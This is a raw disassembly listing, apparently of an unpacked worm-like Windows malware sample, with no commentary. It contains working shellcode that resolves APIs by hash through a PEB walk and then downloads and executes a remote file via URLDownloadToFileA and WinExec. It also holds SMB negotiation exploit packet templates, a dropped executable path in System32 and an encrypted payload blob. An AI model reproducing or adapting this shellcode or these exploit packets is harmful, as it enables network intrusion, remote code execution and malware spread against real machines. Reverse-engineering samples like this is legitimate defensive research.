		dd offset dword_4304BC
		dd offset dword_4304BC
		dd offset dword_4304B8
		dd offset dword_4304B8
		dd offset dword_4304A8+0Ch
		dd offset dword_4304A8+0Ch
		dd offset dword_4304A8+4
		dd offset dword_4304A8+4
		dd offset dword_4304A0+4
		dd offset dword_4304A0+4
		dd offset dword_430498+4
		dd offset dword_430498+4
		dd offset dword_430490+4
		dd offset dword_430490+4
		dd offset dword_430468+24h
		dd offset dword_430468+24h
		dd offset dword_430490
		dd offset dword_430490
		dd offset dword_4303D4
		dd offset dword_4303D4
		dd offset dword_4303D0
		dd offset dword_4303D0
		dd offset dword_4303CC
		dd offset dword_4303CC
		dd offset a_		; "."
		dd offset a_		; "."
		dd offset asc_430038	; "/"
		dd offset asc_430038	; "/"
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset dword_4303C4+4
		dd offset asc_43015C	; ":"
		dd offset dword_4303C4
		dd offset dword_4303D4
		dd offset asc_430034	; ","
		dd offset dword_4304C8
		dd offset dword_4303CC
		dd offset dword_4303BC+4
		dd offset a_		; "."
		dd offset dword_4303BC
		dd offset asc_430038	; "/"
		dd offset dword_4303B4+4
		dd offset asc_42FE00	; "`"
		dd offset dword_4303B4
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset word_42FE36
		dd offset dword_4303A4+0Ch
		dd offset dword_4303A4+8
		dd offset asc_42FDC4	; "\\"
; ---------------------------------------------------------------------------
		rol	byte ptr [ebx],	1
		inc	ebx
		add	[eax-5BFFBCFDh], ch
		add	eax, [ebx+0]
		mov	al, ds:9C004303h
		add	eax, [ebx+0]

loc_4351D8:				; DATA XREF: sub_40C5E6+36o
		call	sub_435233
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebp, [esp+18h]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp

loc_4351F6:				; CODE XREF: .text:00435213j
		jecxz	short loc_43522A
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		cld

loc_435201:				; CODE XREF: .text:0043520Dj
		xor	eax, eax
		lodsb
		cmp	al, ah
		jz	short loc_43520F
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_435201
; ---------------------------------------------------------------------------

loc_43520F:				; CODE XREF: .text:00435206j
		cmp	edi, [esp+14h]
		jnz	short loc_4351F6
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		jmp	short loc_43522C
; ---------------------------------------------------------------------------

loc_43522A:				; CODE XREF: .text:loc_4351F6j
		xor	eax, eax

loc_43522C:				; CODE XREF: .text:00435228j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_435233	proc near		; CODE XREF: .text:loc_4351D8p
		pop	esi
		push	30h
		pop	ecx
		mov	ebx, fs:[ecx]
		mov	ebx, [ebx+0Ch]
		mov	ebx, [ebx+1Ch]
		mov	ebx, [ebx]
		mov	ebx, [ebx+8]
		push	ebx

loc_435246:				; DATA XREF: .text:off_430898o
		push	0EC0E4E8Eh
		call	esi
		mov	edi, eax
		push	ebx
		call	near ptr loc_435283+1
		pop	ebx
		push	0
		call	sub_4352AC
		lea	eax, [eax+21h]
		push	eax
		push	ebx
		push	0E8AFE98h
		call	esi
		call	eax
		push	ebx
		push	60E0CEEFh
		call	esi
		push	0
		call	eax
		jnz	short near ptr byte_4352EB
		insb
		insd
		outsd
		outsb
		add	[esi+ebp+45h], dl
		pop	eax
		inc	ebp

loc_435283:				; CODE XREF: sub_435233+1Dp
		add	[ebx+53h], bl
sub_435233	endp ; sp-analysis failed

		lea	ecx, [ebx+22h]
		push	ecx
		call	edi
		push	eax
		push	702F1A36h
		call	esi
		mov	edx, eax
		push	0
		push	0
		lea	ecx, [ebx+29h]
		push	ecx
		call	sub_4352AC
		lea	ecx, [eax+0Ch]
		push	ecx
		push	0
		call	edx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4352AC	proc near		; CODE XREF: sub_435233+25p
					; .text:0043529Ep
		pop	eax
		push	eax
		retn
sub_4352AC	endp

; ---------------------------------------------------------------------------
		align 10h
dword_4352B0	dd 0C0h			; DATA XREF: sub_40D70E+2Dw
					; sub_40D743+5r ...
; ---------------------------------------------------------------------------

loc_4352B4:				; DATA XREF: sub_40E143+2Fo
		jmp	short loc_4352B8
; ---------------------------------------------------------------------------

loc_4352B6:				; CODE XREF: .text:loc_4352B8p
		jmp	short loc_4352BD
; ---------------------------------------------------------------------------

loc_4352B8:				; CODE XREF: .text:loc_4352B4j
		call	loc_4352B6

loc_4352BD:				; CODE XREF: .text:loc_4352B6j
		pop	ebx
		xor	ecx, ecx
		mov	cx, 0
		xor	cx, 0

loc_4352C9:				; CODE XREF: .text:004352CEj
		xor	byte ptr [ebx+13h], 0
		inc	ebx
		loop	loc_4352C9
; ---------------------------------------------------------------------------
		dd 2 dup(0)
dword_4352D8	dd 80h,	3 dup(0)	; DATA XREF: sub_417107+2Bo
		db 3 dup(0)
byte_4352EB	db 0			; CODE XREF: sub_435233+44j
		dd 0Bh dup(0)
dword_435318	dd 3			; DATA XREF: sub_4186C5+1Cr
		dd 5, 7, 0Bh
unk_435328	db  81h	; 		; DATA XREF: sub_405615+Do
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
dword_435374	dd 0			; DATA XREF: sub_40553D+44o
		dd 800000D4h, 0
dword_435380	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_40553D+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_4353B0	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_40553D+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_435438	dd 7FFDF020h, 0		; DATA XREF: sub_405123+15Ao
dword_435440	dd 10FF8h		; DATA XREF: sub_405123+6Eo
dword_435444	dd 10FF8h, 0		; DATA XREF: sub_405123+5Fo
byte_43544C	db 90h			; DATA XREF: sub_405123+A3o
		db 42h,	90h, 42h
		db 90h
		dd offset dword_429040+2
		align 4
off_435458	dd offset off_429530	; DATA XREF: .text:0043121Co
		align 10h
a_?avcatlexcept	db '.?AVCAtlException@ATL@@',0
dword_435478	dd 0			; DATA XREF: sub_40D743+66r
					; sub_40D743+A1r ...
		dd 9908B0DFh
dword_435480	dd 0			; DATA XREF: sub_41BAF9+20o
					; sub_41BAF9+36w ...
		dd 2 dup(0)
dword_43548C	dd 0			; DATA XREF: sub_41BAF9+6r
					; sub_41BAF9+15w
dword_435490	dd 3Ch,	2 dup(400000h),	1, 710h, 4294E0h, 9 dup(0) ; DATA XREF:	sub_4280CCo
					; sub_4280CC:loc_428190o
dword_4354CC	dd 0			; DATA XREF: sub_41D5E9r
byte_4354D0	db 0			; DATA XREF: sub_41D883+6o
					; sub_41D92B+2Cr ...
		align 10h
dword_4354E0	dd 4 dup(0)		; DATA XREF: sub_41D883+Do
dword_4354F0	dd 0			; DATA XREF: start-1C235w
					; sub_4226C8:loc_4226DAr ...
		align 8
dword_4354F8	dd 0			; DATA XREF: sub_41DC6Dr sub_41DC92r ...
		align 10h
dword_435500	dd 0			; DATA XREF: sub_41E530+Fw
dword_435504	dd 0			; DATA XREF: sub_41E56Fr
dword_435508	dd 14AE40h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: sub_41E830+4o
					; .text:off_433150o
dword_435520	dd 14AE68h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: .text:00433158o
byte_435538	db 90h			; DATA XREF: .text:00433168o
		db 0AEh, 14h, 0
		dd 0FFFFFFFFh, 4 dup(0)
		dd 14AEB8h, 0FFFFFFFFh,	4 dup(0)
dword_435568	dd 14AEE0h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: .text:00433180o
		dd 14AF08h, 0FFFFFFFFh,	4 dup(0)
		dd 14AF30h, 0
		dd 1, 0D0h, 2 dup(0)
dword_4355B0	dd 14AF58h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: .text:004331A0o
dword_4355C8	dd 14AF80h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: .text:004331B0o
		dd 14AFA8h, 0FFFFFFFFh,	4 dup(0)
		dd 14AFD0h, 0FFFFFFFFh,	4 dup(0)
dword_435610	dd 14AFF8h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: .text:004331D0o
		dd 14B020h, 0FFFFFFFFh,	4 dup(0)
		dd 14B048h, 0FFFFFFFFh,	4 dup(0)
dword_435658	dd 0			; DATA XREF: sub_421B9F+14Ar
dword_43565C	dd 2			; DATA XREF: start-1C321w sub_41E7C5r	...
dword_435660	dd 0A28h		; DATA XREF: start-1C301w start-1C2F0w
dword_435664	dd 501h			; DATA XREF: start-1C2E5w
dword_435668	dd 5			; DATA XREF: start-1C318w
					; sub_41E7C5+9r ...
dword_43566C	dd 1			; DATA XREF: start-1C310w
dword_435670	dd 1			; DATA XREF: sub_4228FB+8Fw
dword_435674	dd 3E29A0h		; DATA XREF: sub_4228FB+95w
		dd 0
dword_43567C	dd 3E29C0h		; DATA XREF: sub_4226C8+48w
					; sub_4226C8:loc_422779r ...
		dd 3 dup(0)
off_43568C	dd offset aCM_unpackerPac ; DATA XREF: sub_4228FB+37w
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_435694	db 0			; DATA XREF: sub_41F59B+3Dw
					; .text:00420C71r
		align 4
dword_435698	dd 1			; DATA XREF: sub_41F59B:loc_41F5CFw
dword_43569C	dd 1			; DATA XREF: sub_41F59B+1Cr
					; sub_41F59B+9Cw
		dd 3 dup(0)
off_4356AC	dd offset sub_42037D	; DATA XREF: sub_42059D+38w
					; sub_42059D+80w ...
dword_4356B0	dd 77E78B61h		; DATA XREF: sub_41D732+43r
					; sub_4203B6+10r ...
dword_4356B4	dd 77E79B39h		; DATA XREF: sub_41D732+59r
					; sub_4203B6+37r ...
dword_4356B8	dd 77E72B29h		; DATA XREF: sub_420386+Br
					; sub_42059D+60w ...
dword_4356BC	dd 0			; DATA XREF: sub_41D0C4r
					; sub_41E618+147r ...
dword_4356C0	dd 0			; DATA XREF: sub_420D24+14Cw
					; sub_420FAE:loc_420FD7w ...
		dd 2 dup(0)
dword_4356CC	dd 1			; DATA XREF: sub_421354+Er
					; sub_421354+31w ...
		dd 0
dword_4356D4	dd 0			; DATA XREF: sub_420D24+7r
dword_4356D8	dd 0			; DATA XREF: sub_422632+21r
		align 10h
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_4228FB+1Co
					; .text:off_43568Co
		align 4
		dd 3Ah dup(0)
byte_4357E4	db 0			; DATA XREF: sub_4228FB+23w
		align 4
dword_4357E8	dd 1			; DATA XREF: sub_42299D+2r
					; sub_42299D+24w ...
		align 10h
dword_4357F0	dd 0			; DATA XREF: sub_422D45:loc_422DCCr
					; sub_422D45+13Fr ...
		align 8
dword_4357F8	dd 0			; DATA XREF: sub_422D45:loc_422DDFr
					; sub_422D45+1C4r ...
		dd 0Fh dup(0)
dword_435838	dd 0			; DATA XREF: sub_422D45+12Co
					; sub_422D45+191o ...
dword_43583C	dd 77C26E79h		; DATA XREF: sub_4238CC:loc_4238F7r
					; sub_4238CC+40r ...
dword_435840	dd 0			; DATA XREF: sub_423E1A+17r
dword_435844	dd 77E7C706h		; DATA XREF: sub_423F72+Cr
					; sub_423F72+39w ...
dword_435848	dd 1			; DATA XREF: sub_4242B5+Er
					; sub_4242B5+2Ew ...
dword_43584C	dd 0			; DATA XREF: .text:off_433A58o
					; .text:off_433A5Co ...
dword_435850	dd 0			; DATA XREF: sub_4201B1+A2r
dword_435854	dd 0			; DATA XREF: sub_4201B1+Br
		dd 0Bh dup(0)
dword_435884	dd 0			; DATA XREF: sub_421354+265r
					; sub_4242B5+14Ar
		dd 3 dup(0)
dword_435894	dd 0			; DATA XREF: sub_421354+9Dr
					; sub_421354+272r ...
		dd 0Ah dup(0)
dword_4358C0	dd 1			; DATA XREF: sub_424A23:loc_424B8Dr
					; sub_424BB3+1Dw ...
dword_4358C4	dd 0			; DATA XREF: sub_421B9F+3Dr
dword_4358C8	dd 0			; DATA XREF: sub_426724+9r
					; sub_426724+38w ...
dword_4358CC	dd 0			; DATA XREF: sub_426724+4Dw
					; sub_426724:loc_4267E9r
dword_4358D0	dd 0			; DATA XREF: sub_426724+5Bw
					; sub_426724+D6r
dword_4358D4	dd 0			; DATA XREF: sub_426724+7Bw
					; sub_426724:loc_4267A4r
dword_4358D8	dd 0			; DATA XREF: sub_426724+6Cw
					; sub_426724+9Cr
		dd 31h dup(0)
dword_4359A0	dd 0			; DATA XREF: sub_427291:loc_427313o
					; sub_427291+87r
dword_4359A4	dd 0			; DATA XREF: sub_427291:loc_4272D9o
					; sub_427291+4Dr
dword_4359A8	dd 0			; DATA XREF: sub_427291:loc_4272CCo
					; sub_427291+40r
dword_4359AC	dd 0			; DATA XREF: sub_427291:loc_4272E6o
					; sub_427291+5Ar
		dd 4 dup(0)
byte_4359C0	db 0			; DATA XREF: sub_41BBA7+94w
		align 8
dword_4359C8	dd 41h dup(0)		; DATA XREF: sub_404AA9+1o
dword_435ACC	dd 4 dup(0)		; DATA XREF: sub_404C05+6Fo
					; sub_4142D6+43Bo
byte_435ADC	db 0			; DATA XREF: sub_4047DC+3Aw
					; sub_4047DC+4Ao ...
		align 10h
		dd 4 dup(0)
aCWindowsSystem	db 'C:\WINDOWS\System32\mvwatvx.exe',0 ; DATA XREF: sub_404B0D+Co
		dd 39h dup(0)
dword_435BF4	dd 4 dup(0)		; DATA XREF: sub_404C05+89o
					; sub_4142D6+436o
byte_435C04	db 0			; DATA XREF: sub_404C05+49w
					; sub_4142D6+445r
		align 4
word_435C08	dw 0			; DATA XREF: sub_404C05+65w
					; sub_4142D6+42Fr
		align 10h
dword_435C10	dd 41h dup(0)		; DATA XREF: sub_404ADB+1o
dword_435D14	dd 0Dh dup(0)		; DATA XREF: sub_404869+11o
dword_435D48	dd 80h dup(0)		; DATA XREF: sub_4060DC+BAo
					; sub_4071F6+25o
dword_435F48	dd 0			; DATA XREF: sub_4060DC+57r
					; sub_406A96+4Aw ...
dword_435F4C	dd 0			; DATA XREF: sub_406A96+6r
					; sub_406A96+22w ...
dword_435F50	dd 0			; DATA XREF: sub_4060DC+66r
					; sub_406A96+37w ...
byte_435F54	db 0			; DATA XREF: .text:0040AC29o
					; .text:0040B0ADo ...
		align 4
		dd 3 dup(0)
dword_435F64	dd 0			; DATA XREF: .text:0040B008w
					; .text:loc_40B085w ...
dword_435F68	dd 0			; DATA XREF: .text:0040AFBCr
					; .text:loc_40B033r ...
dword_435F6C	dd 0			; DATA XREF: .text:0040AFA7r
					; .text:0040AFB5w ...
dword_435F70	dd 0			; DATA XREF: sub_409BDA:loc_409EE2w
					; sub_409BDA:loc_409F9Eo ...
dword_435F74	dd 0			; DATA XREF: sub_409BDA:loc_409EEAw
					; sub_409BDA:loc_409FA7o ...
dword_435F78	dd 0			; DATA XREF: sub_409BDA+300w
					; sub_409BDA+3BBo ...
		align 10h
dword_435F80	dd 0			; DATA XREF: sub_409BDA+A4r
					; sub_409BDA+C0r ...
		dd 80h dup(0)
dword_436184	dd 81h dup(0)		; DATA XREF: sub_409BDA+CBo
dword_436388	dd 0			; DATA XREF: sub_409BDA+1B3o
					; sub_40B8D4+82o ...
		dd 2C1h	dup(0)
dword_436E90	dd 102h	dup(0)		; DATA XREF: .text:0040A5A5o
					; .text:0040B2EEo ...
dword_437298	dd 52C3BF2Fh		; DATA XREF: sub_40D70E+2w
					; sub_40D70E+8o ...
dword_43729C	dd 76D9C2FFh		; DATA XREF: sub_40D743+4Br
		dd 351AF8E3h, 16535B25h, 9F855AD6h, 16B00D28h, 5BFD9927h
		dd 3DCAA627h, 6DBD1FF7h, 0B7D8388Bh, 481DAC6Dh,	4FC44622h
		dd 7C63071Bh, 0D17C7F3Bh, 272BCFD7h, 0D15384F3h, 4E18E6BDh
		dd 0A8B4965Dh, 0A423FBDCh, 95E05514h, 0F1B9B885h, 0DF2D2676h
		dd 35CFF8CEh, 2ED79CCFh, 389C1B1h, 14E11A87h, 0CCF36DECh
		dd 0A0E2BE3Dh, 0E14E59BFh, 0EE7186EDh, 0A47706F1h, 47A6FCB6h
		dd 4C78AF13h, 0FB284E61h, 6F4A86Fh, 83B030CCh, 748AE842h
		dd 91D9B23Eh, 0D6BE9AD4h, 477C266Fh, 0C7899C81h, 394A4AABh
		dd 7C0680E6h, 6B1EC020h, 0BF7E45D2h, 0D2E7ECA0h, 0CED7359Eh
		dd 7AF9A734h, 9364AC7Ah, 0F88123F9h, 0CD570711h, 0BFF0E6CDh
		dd 1726EF5Eh, 91D87DABh, 391BEE78h, 3915D1D0h, 0E93E2E65h
		dd 69D1837Eh, 8234749Eh, 0ED92870Bh, 3CCFBEF0h,	3FBB6FD1h
		dd 7A4C6AA8h, 65A7B418h, 0E47F04E6h, 0D6B0D1CBh, 2287F96Dh
		dd 2629150Bh, 49E7C342h, 381297F4h, 85C14630h, 1E43A4B3h
		dd 5A04F7C7h, 0F32C1FC6h, 0DF9A7D9Eh, 9DDEFA12h, 0DE142FB2h
		dd 0B81D6BB4h, 7001326Ah, 343211A2h, 0B72340E5h, 0E3D6A2E4h
		dd 9A46AE28h, 563A4E55h, 0E4F2E97Eh, 0FAC5056Bh, 0EAAD2498h
		dd 0ADD6B8DFh, 322F33BFh, 0E8E752ABh, 9CB9E845h, 6949D244h
		dd 3007BF17h, 4C76A771h, 5F856B10h, 0B7D3A31Dh,	38D10D94h
		dd 0FFFF7187h, 0C682572Eh, 42CB2B73h, 0DFB804B4h, 5CF30F52h
		dd 735545Ah, 0E0D55B92h, 697CD76Bh, 0FC6B7649h,	140BFFECh
		dd 9B31C797h, 168EA03Bh, 58B2A54Dh, 4FE53F4Bh, 9CBDA5A2h
		dd 3F1AAF1Fh, 9E749423h, 0AA59C242h, 0C03184CBh, 94D1925h
		dd 1304E052h, 80C1D631h, 8089D602h, 0F79A2AB5h,	1826CFE7h
		dd 191FA338h, 0E054E536h, 10752920h, 0F54A6464h, 0B097B36Ah
		dd 0E37ADE8Dh, 455DC294h, 0B861AC91h, 6345C777h, 3B430758h
		dd 599374Fh, 0B6598FA8h, 0BB43826Eh, 99FC98ADh,	0F4D6B543h
		dd 4827F1Ah, 7B83B8F6h,	712EF501h, 2FC734D7h, 9DCDEC62h
		dd 1A26B19Fh, 0E4ED7757h, 6D8D824Ah, 7BBFB399h,	92BE2059h
		dd 30ABFCB4h, 0A2D14E67h, 31FE83C7h, 86031648h,	75D2F8F7h
		dd 7800987Ch, 77B0B126h, 0E51BD68h, 7CF177B6h, 9570CC59h
		dd 0FCFA4C2Ch, 55B89EE1h, 334276B0h, 766231ACh,	9C236A48h
		dd 7396594Fh, 0BC222711h, 36E8B3B6h, 0AD42A780h, 67372EC5h
		dd 1D22CD9h, 0E149F3A5h, 7C488B8Eh, 7A6D001Bh, 17871E5Dh
		dd 0A3177A50h, 85F9896Eh, 0B20FE9DFh, 697BF6E1h, 0A0B10340h
		dd 33B08DDAh, 0EF13C103h, 3E9C3B3Eh, 3237DDA9h,	8855DE1h
		dd 0DBB0B428h, 104E50EBh, 0D0393101h, 0E3EC9Fh,	16DC774Ch
		dd 7D0FABBFh, 679E0741h, 7601ACCAh, 497A9292h, 950B3FCBh
		dd 43A6A4C5h, 888EF030h, 0AB01F709h, 2138951Ch,	7CB8B62Eh
		dd 1B6A1550h, 887FFCADh, 757E3516h, 0A20233E9h,	24B639ECh
		dd 0B243F94Ch, 59D2376Ch, 599C6D70h, 79959FA3h,	0EB059402h
		dd 0A1C80010h, 0D05DC9C4h, 340D86B0h, 69A510CAh, 0B049A10h
		dd 0C9675F5Fh, 7E6D7F3Bh, 79B0A522h, 69BC68FBh,	0C81416Ch
		dd 5C08AACDh, 7B675B75h, 9C4F7DEAh, 878062A4h, 974A6781h
		dd 0EBD028F4h, 6B2C905Fh, 118E54B9h, 126A3AB6h,	9DB60FDFh
		dd 1BBAD6F2h, 0F8487B83h, 0EAE80C33h, 7FDD4789h, 6BA5406Eh
		dd 0BEB5E7E0h, 71E643AFh, 296162F7h, 587AE971h,	81A7868Ch
		dd 0E859605Eh, 0D2B7636Eh, 0DDBDC4EDh, 6A2FAF41h, 1263A145h
		dd 0CD920235h, 6EFCC425h, 0B0045578h, 0F804BA73h, 3184744Dh
		dd 0E9D998DFh, 139FE1CAh, 0B6EA922Fh, 1D4F9169h, 8D598CC0h
		dd 56CA98BBh, 0A37B6A7Ch, 97486F3Fh, 5D16A59Ch,	6BBC0DDEh
		dd 2D260361h, 0F37F64Ch, 3C8E079Ah, 0B81544BCh,	4B1DAD20h
		dd 675F565Ah, 0E96FAAEh, 0F86AA386h, 982EE3Fh, 1834AD4Eh
		dd 0B07A98A7h, 26CF49Ch, 0A69F86BEh, 61FEC75Dh,	0A1B19C0Bh
		dd 6F6A485Ah, 93930323h, 0EBAEA9F1h, 5D2F2446h,	0D7AE9235h
		dd 52D0A177h, 0E158D51Bh, 6DDD6C01h, 0C5C59AFEh, 26F02C6Eh
		dd 0B9663834h, 1F329D98h, 0BCEECBFCh, 4DB939CCh, 0A1F63E75h
		dd 39BC23B6h, 0BC025C20h, 84CD77B9h, 0A7515EFBh, 5A3CCEC9h
		dd 4D999056h, 93DD0FFDh, 8F1EA16Ah, 427F4EC8h, 0ACAE952Dh
		dd 7F0D37E5h, 0D4771880h, 0D91F6D7Ch, 0B52A93E4h, 0A51378F8h
		dd 921E869Ah, 0B3415C17h, 0A13DD9D0h, 4A18D467h, 6C99E5AAh
		dd 0BA84CF27h, 3BBE01B2h, 350D5ADh, 52496785h, 9775B06Fh
		dd 92467DF4h, 32657DE2h, 0DA720FDBh, 0C6332429h, 4444F31Fh
		dd 8A04CA93h, 0A865ACE9h, 852D3584h, 0F7B9BB32h, 17F77482h
		dd 662A3362h, 8A22F93Fh, 4607D73Eh, 0D9FD3BCFh,	0DF72C5C4h
		dd 76EB1835h, 0ABF96692h, 361F14BAh, 0DE52662Ah, 8D0247E1h
		dd 5058F9B9h, 1772EADEh, 41BBDF8Eh, 0A5CA419Ch,	0E0474892h
		dd 39270445h, 9B1C2A40h, 54E9EF26h, 0C5968756h,	0DE9F032Dh
		dd 0C3CAF9E2h, 291F4BFCh, 7BB8ECC5h, 2EDBED1Ch,	675A2451h
		dd 0F368075Fh, 86AA2738h, 0A8456E86h, 21F8266h,	397DBA3Bh
		dd 8F9EDCC1h, 2DCE8C9h,	2D4EA050h, 8D00D5D8h, 84E021F5h
		dd 99C3EC96h, 9D42D9AEh, 3C5250AEh, 975BA584h, 39E8C672h
		dd 88F829FAh, 0AFCC48E7h, 9F5419AFh, 0BB11A889h, 114CB8EEh
		dd 0B8C5EFBDh, 0BC7ACCB6h, 9A8F2C4Fh, 93F47EA5h, 96598FDEh
		dd 0A5DE4BAAh, 2B1460Fh, 110246CFh, 2BFAD44Dh, 7372C874h
		dd 0F9B909BFh, 2895FF89h, 208174A5h, 0D64992A2h, 24F66BCEh
		dd 7E553D46h, 0FAF3468Ch, 0AAFAB33Bh, 2D39F48Eh, 33535C8Fh
		dd 44785331h, 0C7554349h, 319748Ch, 0EA698211h,	40C4109Fh
		dd 0E24A2BBFh, 4C112265h, 5CFDC524h, 0EB434532h
dword_4378C8	dd 9D4A74A5h		; DATA XREF: sub_40D743+DEr
dword_4378CC	dd 7AEA2010h		; DATA XREF: sub_40D743+6Dr
		dd 0D335503Bh, 603D769Dh, 0C11AAA94h, 9DBC15B4h, 107AE3AFh
		dd 3D4058DDh, 6DE9FC36h, 9FAF094Fh, 3F5F4C44h, 3B53B047h
		dd 8D78508Ch, 1BD96CE9h, 0AB5B7BDh, 0ABA9E420h,	38FE6819h
		dd 0F6928A57h, 90B907E8h, 54600D39h, 6021B211h,	6E56F2AAh
		dd 0BE808C57h, 0FA2A0A0Ah, 572BB668h, 4534F9B5h, 0DADCAABEh
		dd 7431340Bh, 9D8B83E2h, 0AFC0FFAh, 66AF0726h, 0F2BE34C2h
		dd 0AD8F5EFEh, 38ED7F9h, 0E47EBD1Ah, 0B5B6050h,	0EAF36104h
